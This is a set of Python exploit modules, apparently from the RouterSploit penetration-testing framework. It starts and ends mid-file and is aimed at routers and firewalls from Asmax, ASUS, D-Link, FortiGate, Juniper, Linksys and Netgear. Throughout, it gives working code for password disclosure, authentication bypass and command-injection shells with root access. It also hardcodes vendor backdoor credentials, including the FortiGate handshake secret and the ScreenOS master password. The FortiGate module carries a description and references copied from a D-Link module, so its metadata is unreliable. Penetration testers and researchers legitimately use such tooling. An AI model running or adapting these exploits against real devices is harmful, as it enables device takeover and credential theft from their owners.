return False # target not vulnerable
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Asmax AR1004G Password Disclosure vulnerability.
If the target is vulnerable it allows to read credentials for admin, support and user."
"""
__info__ = {
'name': 'Asmax AR1004G Password Disclosure',
'description': 'Exploits asmax password disclosure vulnerability that allows to fetch credentials for: Admin, Support and User accounts.',
'author': 'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt'
],
'targets': [
'Asmax AR 1004g'
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
creds = []
admin = re.findall("pwdAdmin = '(.+?)'", res)
if len(admin):
creds.append(('Admin', admin[0]))
support = re.findall("pwdSupport = '(.+?)'", res)
if len(support):
creds.append(('Support', support[0]))
user = re.findall("pwdUser = '(.+?)'", res)
if len(user):
creds.append(('User', user[0]))
if len(creds):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def check(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None # could not be verified
if any(map(lambda x: x in res, ["pwdSupport", "pwdUser", "pwdAdmin"])):
return True # target vulnerable
return False # target not vulnerable
import requests
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Asmax AR 804 Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands with root privileges.
"""
__info__ = {
'name': 'Asmax AR 804 RCE',
'authors': [
'Michal Sajdak <michal.sajdak@securitum.com>', # vulnerability discovery
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
],
'description': 'Module exploits Asmax AR 804 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.',
'references': [
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise'
],
'targets': [
'Asmax AR 804 gu'
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check() == True:
print_success("Target is vulnerable")
print_status("Invoking command loop...")
self.command_loop()
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
print self.execute(cmd)
def execute(self, cmd):
url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd))
try:
r = requests.get(url)
except requests.exceptions.MissingSchema:
return "Invalid URL format: %s" % url
except requests.exceptions.ConnectionError:
return "Connection error: %s" % url
return r.text
def check(self):
cmd = "id"
url = sanitize_url("{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd))
try:
r = requests.get(url)
res = r.text
except:
return None
if "uid" in res:
return True
return False
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Asus RT-N16 Password Disclosure vulnerability.
If the target is vulnerable it allows to read credentials for administrator."
"""
__info__ = {
'name': 'Asus RT-N16 Password Disclosure',
'description': 'Module exploits password disclosure vulnerability in Asus RT-N16 devices that allows to fetch credentials for the device.',
'authors': [
'Harry Sintonen', # vulnerability discovery
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
],
'references': [
'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
],
'targets': [
'ASUS RT-N10U, firmware 3.0.0.4.374_168',
'ASUS RT-N56U, firmware 3.0.0.4.374_979',
'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
'ASUS RT-AC66U, firmware 3.0.0.4.374_2050',
'ASUS RT-N15U, firmware 3.0.0.4.374_16',
'ASUS RT-N53, firmware 3.0.0.4.374_311',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(8080, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res)
if len(creds):
c = [("admin", creds[0])]
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *c)
else:
print_error("Credentials could not be found")
def check(self):
url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None # could not be verified
creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", res)
if len(creds):
return True # target vulnerable
return False # target not vulnerable
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DIR-300, DIR-320, DIR-615 Authentication Bypass vulnerability.
If the target is vulnerable link to bypass authentication will be provided"
"""
__info__ = {
'name': 'D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass',
'description': 'Module exploits authentication bypass vulnerability in D-Link DIR-300, DIR-320, DIR-615 revD devices. It is possible to access administration panel without providing password.',
'authors': [
'Craig Heffner', # vulnerability discovery
'Karol Celin', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf',
],
'targets': [
'D-Link DIR-300',
'D-Link DIR-600',
'D-Link DIR-615 revD',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Target is vulnerable")
print "\nYou need to add NO_NEED_AUTH=1&AUTH_GROUP=0 to query string for every action."
print "\nExamples:"
print "{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port)
print "{}:{}/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\n".format(self.target, self.port)
else:
print_error("Target seems to be not vulnerable")
def check(self):
# check if it is valid target
url = sanitize_url("{}:{}/bsc_lan.php".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None # could not be verified
if '<form name="frm" id="frm" method="post" action="login.php">' not in res:
return False
# checking if authentication can be baypassed
url = sanitize_url("{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None # could not be verified
if '<form name="frm" id="frm" method="post" action="login.php">' not in res:
return True # target vulnerable
return False # target not vulnerable
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DIR-300, DIR-600, DIR-615 Information Disclosure vulnerability.
If the target is vulnerable it allows to read credentials for administrator."
"""
__info__ = {
'name': 'D-Link DIR-300 & DIR-600 & DIR-615 Info Disclosure',
'description': 'Module explois information disclosure vulnerability in D-Link DIR-300, DIR-600, DIR-615 devices. It is possible to retrieve sensitive information such as credentials.',
'authors': [
'tytusromekiatomek <tytusromekiatomek[at]inbox.com>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://seclists.org/bugtraq/2013/Dec/11'
],
'targets': [
'D-Link DIR-300 (all)',
'D-Link DIR-600 (all)',
'D-Link DIR-615 (fw 4.0)',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
creds = re.findall("<center>\t\t\t\n\t\t\t<table> <tr> <td>\n\t\t\t(.+?)\n\n\t\t\t</td>", res)
if len(creds):
c = creds[0].split(":")
creds = [(c[0], c[1])]
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def check(self):
url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None # could not be verified
creds = re.findall("<center>\t\t\t\n\t\t\t<table> <tr> <td>\n\t\t\t(.+?)\n\n\t\t\t</td>", res)
if len(creds):
return True # target vulnerable
return False # target not vulnerable
import requests
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DIR-300, DIR-600 Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands with root privileges.
"""
__info__ = {
'name': 'D-LINK DIR-300 & DIR-600 RCE',
'description': 'Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.',
'authors': [
'Michael Messner <devnull[at]s3cur1ty.de>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router',
'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003',
],
'targets': [
'D-Link DIR 300',
'D-Link DIR 600',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check() == True:
print_success("Target is vulnerable")
print_status("Invoking command loop...")
self.command_loop()
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
print self.execute(cmd)
def execute(self, cmd):
url = sanitize_url("{}:{}/command.php".format(self.target, self.port))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
data = "cmd={}".format(cmd)
try:
r = requests.post(url, headers=headers, data=data)
except requests.exceptions.MissingSchema:
return "Invalid URL format: %s" % url
except requests.exceptions.ConnectionError:
return "Connection error: %s" % url
return r.text.strip()
def check(self):
# meaby random mark should be implemented
url = sanitize_url("{}:{}/command.php".format(self.target, self.port))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
data = "cmd={}".format("echo 9fdbd928b52c1ef61615a6fd2e8b49af;")
try:
r = requests.post(url, headers=headers, data=data)
res = r.text
except:
return None
if "9fdbd928b52c1ef61615a6fd2e8b49af" in res:
return True
return False
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DIR-645 Password Disclosure vulnerability.
If the target is vulnerable it allows to read credentials."
"""
__info__ = {
'name': 'D-Link DIR-645 Password Disclosure',
'description': 'Module exploits D-Link DIR-645 password disclosure vulnerability.',
'authors': [
'Roberto Paleari <roberto[at]greyhats.it>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'
],
'targets': [
'D-Link DIR-645 (Versions < 1.03)',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(8080, 'Target port') # default port
def run(self):
# address and parameters
url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port))
data = {"SERVICES": "DEVICE.ACCOUNT"}
# connection
try:
r = requests.post(url, data=data)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# extracting credentials
regular = "<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>"
creds = re.findall(regular, re.sub('\s+', '', res))
# displaying results
if len(creds):
print_success("Credentials found!")
headers = ('Username', 'Password')
creds = tuple(tuple([item[0], item[2]]) for item in creds)
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def check(self):
# address and parameters
url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port))
data = {"SERVICES": "DEVICE.ACCOUNT"}
# connection
try:
r = requests.post(url, data=data)
res = r.text
except:
return None
# extracting credentials
regular = "<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>"
creds = re.findall(regular, re.sub('\s+', '', res))
if len(creds):
return True # target vulnerable
return False # target not vulnerable
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DNS-320L and DNS-327L Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands on the device.
"""
__info__ = {
'name': 'D-LINK DNS-320L & DIR-327L RCE',
'description': 'Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution vulnerability which allows executing command on the device.',
'authors': [
'Gergely Eberhardt', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf',
],
'targets': [
'DNS-320L 1.03b04',
'DNS-327L, 1.02',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check() == True:
print_success("Target is vulnerable")
print_status("Invoking command loop...")
self.command_loop()
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
print self.execute(cmd)
def execute(self, cmd):
url = sanitize_url("{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;".format(self.target, self.port, cmd))
try:
r = requests.get(url)
res = r.text
except:
return False
if 'ffffffffffffffff' in res:
res = re.findall("(|.+?)ffffffffffffffff", res, re.DOTALL)
if len(res):
return res[0]
return False
def check(self):
# meaby random mark should be implemented
cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af"
url = sanitize_url("{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;".format(self.target, self.port, cmd))
try:
r = requests.get(url)
res = r.text
except:
return None
if "9fdbd928b52c1ef61615a6fd2e8b49af" in r:
return True
return False
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for DSL-2750B Information Disclosure vulnerability.
If the target is vulnerable it allows to read SSID, Wi-Fi password and PIN code."
"""
__info__ = {
'name': 'D-Link DSL-2750B Info Disclosure',
'description': 'Module explois information disclosure vulnerability in D-Link DSL-2750B devices. It is possible to retrieve sensitive information such as SSID, Wi-Fi password, PIN code.',
'authors': [
'Alvaro Folgado # vulnerability discovery',
'Jose Rodriguez # vulnerability discovery',
'Ivan Sanz # vulnerability discovery',
'Marcin Bury <marcin.bury[at]reverse-shell.com> # routersploit module',
],
'references': [
'http://seclists.org/fulldisclosure/2015/May/129'
],
'targets': [
'D-Link DSL-2750B EU_1.01',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
creds = []
data = ['2.4G SSID', '2.4G PassPhrase', '5G SSID', '5G PassPhrase', 'PIN Code']
for d in data:
regexp = "<td nowrap><B>{}:</B></td>\r\n\t\t\t<td>(.+?)</td>".format(d)
val = re.findall(regexp, res)
if len(val):
creds.append((d,val[0]))
if len(creds):
print_success("Credentials found!")
headers = ("Option", "Value")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def check(self):
url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None
if any(map(lambda x: x in res, ["SSID", "PassPhrase"])):
return True # target vulnerable
return False # target not vulnerable
import requests
import json
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DWR-932 Information Disclosure vulnerability.
If the target is vulnerable it allows to read credentials for administrator."
"""
__info__ = {
'name': 'D-Link DWR-932 Info Disclosure',
'description': 'Module explois information disclosure vulnerability in D-Link DWR-932 devices. It is possible to retrieve sensitive information such as credentials.',
'authors': [
'Saeed reza Zamanian' # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://www.exploit-db.com/exploits/39581/',
],
'targets': [
'D-Link DWR-932',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port))
print_status("Running module...")
try:
r = requests.get(url)
res = r.text
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
try:
data = json.loads(res)
print_status("Decoding JSON value")
except ValueError:
print_error("Response is not valid JSON")
return
if len(data):
print_success("Exploit success")
rows = []
for key in data.keys():
if len(data[key]) > 0:
rows.append((key, data[key]))
headers = ("Parameter", "Value")
print_table(headers, *rows)
def check(self):
url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port))
try:
r = requests.get(url)
res = r.text
except:
return None # could not be verified
if 'wifi_AP1_ssid' in res:
return True # target is vulnerable
return False # target not vulnerable
import socket
import select
import paramiko
import base64
import hashlib
import termios
import tty
import sys
from paramiko.py3compat import u
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for FortiGate OS Version 4.x up to 5.0.7 vulnerability.
If the target is vulnerable, remote access to the system is provided.
"""
__info__ = {
'name': 'FortiGate OS 4.x-5.0.7 Backdoor',
'description': 'Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution vulnerability which allows executing command on the device.',
'authors': [
'operator8203', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router',
'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003',
],
'targets': [
'FortiGate OS Version 4.x-5.0.7',
]
}
target = exploits.Option('', 'Target IP address')
port = exploits.Option(22, 'Target Port')
def run(self):
print_status("Running module")
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
except:
print_status("Error with Existing Session. Wait few minutes.")
return
try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
chan = client.invoke_shell()
except:
print_error("Exploit failed")
return
print_success("Exploit succeeded")
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = u(chan.recv(1024))
if len(x) == 0:
sys.stdout.write('\r\n*** EOF\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def check(self):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException:
pass
trans = client.get_transport()
try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException:
pass
except Exception, e:
return None
try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
except:
return False # target is not vulnerable
return True # target is vulnerable
def custom_handler(self, title, instructions, prompt_list):
n = prompt_list[0][0]
m = hashlib.sha1()
m.update('\x00' * 12)
m.update(n + 'FGTAbc11*xy+Qqz27')
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h]
import paramiko
import telnetlib
import select
import socket
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Juniper ScreenOS Authentication Backdoor vulnerability.
If the target is vulnerable it is possible to authenticate to the device"
"""
__info__ = {
'name': 'Juniper ScreenOS Backdoor',
'description': 'Module exploits Juniper ScreenOS Authentication Backdoor vulnerability. If the target is is possible to authentiate to the device.',
'authors': [
'hdm', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
],
'targets': [
'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
]
}
target = exploits.Option('', 'Target address e.g. 192.168.1.1') # target address
username = "admin"
password = "<<< %s(un='%s') = %u"
def run(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(self.target, 22, timeout=5, username=self.username, password=self.password)
except:
ssh.close()
else:
print_success("SSH - Successful authentication")
cmd = ""
while cmd not in ["quit", "exit"]:
cmd = raw_input("> ")
stdin, stdout, stderr = ssh.exec_command(cmd.strip())
print stdout.channel.recv(2048)
return
try:
tn = telnetlib.Telnet(self.target, 23)
tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n")
tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5)
if i != -1:
return False
else:
if any(map(lambda x: x in res, ["#", "$",">"])):
print_success("Telnet - Successful authentication")
tn.write("\r\n")
tn.interact()
tn.close()
except:
print_error("Connection Error")
return
def check(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(self.target, 22, timeout=5, username=self.username, password=self.password)
except:
ssh.close()
else:
return True
try:
tn = telnetlib.Telnet(self.target, 23)
tn.expect(["Login: ", "login: "], 5)
tn.write(self.username + "\r\n")
tn.expect(["Password: ", "password"], 5)
tn.write(self.password + "\r\n")
tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close()
if i != -1:
return False
else:
if any(map(lambda x: x in res, ["#", "$",">"])):
tn.close()
return True
tn.close()
except:
return False
return False
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Linksys WAP54Gv3 devices Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands with root privileges.
"""
__info__ = {
'name': 'Linksys WAP54Gv3',
'description': 'Module exploits remote command execution in Linksys WAP54Gv3 devices. Debug interface allows executing root privileged shell commands is available on dedicated web pages on the device.',
'authors': [
'Phil Purviance', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://seclists.org/bugtraq/2010/Jun/93',
],
'targets': [
'Linksys WAP54Gv3',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check() == True:
print_success("Target is vulnerable")
print_status("Invoking command loop...")
self.command_loop()
else:
print_error("Target is not vulnerable")
def command_loop(self):
while 1:
cmd = raw_input("cmd > ")
print self.execute(cmd)
def execute(self, cmd):
url = sanitize_url("{}:{}/debug.cgi".format(self.target, self.port))
data = {"data1": cmd, "command": "ui_debug"}
try:
r = requests.post(url, data=data, auth=("Gemtek", "gemtekswd"))
except requests.exceptions.MissingSchema:
return "Invalid URL format: %s" % url
except requests.exceptions.ConnectionError:
return "Connection error: %s" % url
res = re.findall('<textarea rows=30 cols=100>(.+?)</textarea>', r.text, re.DOTALL)
if len(res):
return res[0]
else:
return ""
def check(self):
# meaby random mark should be implemented
cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af"
url = sanitize_url("{}:{}/debug.cgi".format(self.target, self.port))
data = {"data1": cmd, "command": "ui_debug"}
try:
r = requests.post(url, data=data, auth=("Gemtek", "gemtekswd"))
res = r.text
except:
return None # could not be verified
if "9fdbd928b52c1ef61615a6fd2e8b49af" in res:
return True
return False
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Misfortune Cookie Authentication Bypass vulnerability.
"""
__info__ = {
'name': 'Misfortune Cookie',
'description': 'Exploit implementation for Misfortune Cookie Authentication Bypass vulnerability.',
'author': 'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
'references': [
'http://mis.fortunecook.ie/'
],
'targets': [
'multi'
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Device is vulnerable to Misfortune Cookie vulnerability")
else:
print_error("Device seems to be not vulnerable")
def check(self):
url = sanitize_url("{}:{}/test".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers = {'User-Agent': user_agent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'Cookie': 'C107373883=/omg1337hax'}
try:
r = requests.get(url, headers=headers)
if r.status_code != 404:
return False # not rompage
else:
if 'server' in r.headers:
server = r.headers.get('server')
if re.search('RomPager', server) is not None:
if re.search('omg1337hax', r.text) is not None:
return True # device is vulnerable
else:
return None # tests didnt pass but might be still vulnerable
except:
return None # could not be verified
return False # target not vulnerable
import requests
import re
from routersploit import *
class Exploit(exploits.Exploit):
"""
Exploit implementation for Netgear N300 Authentication Bypass vulnerability.
If the target is vulnerable link to bypass authentication will be provided"
"""
__info__ = {
'name': 'Netgear N300 Auth Bypass',
'description': 'Module exploits authentication bypass vulnerability in Netgear N300 devices. It is possible to access administration panel without providing password.',
'authors': [
'Daniel Haake <daniel.haake[at]csnc.de>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt'
],
'targets': [
'Netgear N300',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Target is vulnerable")
url = sanitize_url("{}:{}".format(self.target, self.port))
print "Visit {}/BRS_netgear_success.html\n".format(url)
else:
print_error("Target seems to be not vulnerable")
def check(self):
url = sanitize_url("{}:{}/".format(self.target, self.port))
try:
r = requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema, requests.exceptions.ConnectionError):
return None # target could not be verified
if r.status_code == requests.codes.unauthorized:
url = sanitize_url("{}:{}/BRS_netgear_success.html".format(self.target, self.port))
r = requests.get(url)
if r.status_code == requests.codes.ok:
return True
return False # target not vulnerable
from routersploit import *
from os import listdir
from os.path import isfile, join
import imp
class Exploit(exploits.Exploit):
"""
D-Link Scanner
"""
__info__ = {
'name': 'D-Link Scanner',
'description': 'Scanner module for D-Link devices',
'author': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
exploits = []
rootpath = 'routersploit/modules/'
path = 'exploits/dlink/'
# only py exploit files
modules = [f.replace(".py", "") for f in listdir(rootpath+path) if isfile(join(rootpath+path, f)) and f.endswith(".py") and f != "__init__.py"]
vulns = []
for module_name in modules:
f = path + module_name
module = imp.load_source('module', rootpath + f + '.py')
exploit = module.Exploit()
exploit.target = self.target
exploit.port = self.port
res = exploit.check()
if res is True:
print_success("{} is vulnerable".format(f))
vulns.append(f)
elif res is False:
print_error("{} is not vulnerable".format(f))
else:
print_status("{} could not be verified".format(f))
print
if len(vulns):
print_success("Device is vulnerable!")
for v in vulns:
print " - {}".format(v)
else:
print_error("Device is not vulnerable to any exploits!")
print
def check(self):
print_error("Check method is not available")
import unittest
import os
import pexpect
class RoutersploitCompleterTest(unittest.TestCase):
def __init__(self, methodName='runTest'):
super(RoutersploitCompleterTest, self).__init__(methodName)
self.cli_path = os.path.abspath(os.path.join(__file__, os.pardir, os.pardir, os.pardir, 'cli.py'))
self.raw_prompt = "\033[4mrsf\033[0m > "
self.module_prompt = lambda x: "\033[4mrsf\033[0m (\033[91m{}\033[0m) > ".format(x)
def setUp(self):
self.rsf = pexpect.spawn('python {}'.format(self.cli_path))
self.rsf.send('\r\n')
self.assertPrompt(self.raw_prompt)
def tearDown(self):
self.rsf.terminate(force=True)
def assertPrompt(self, *args):
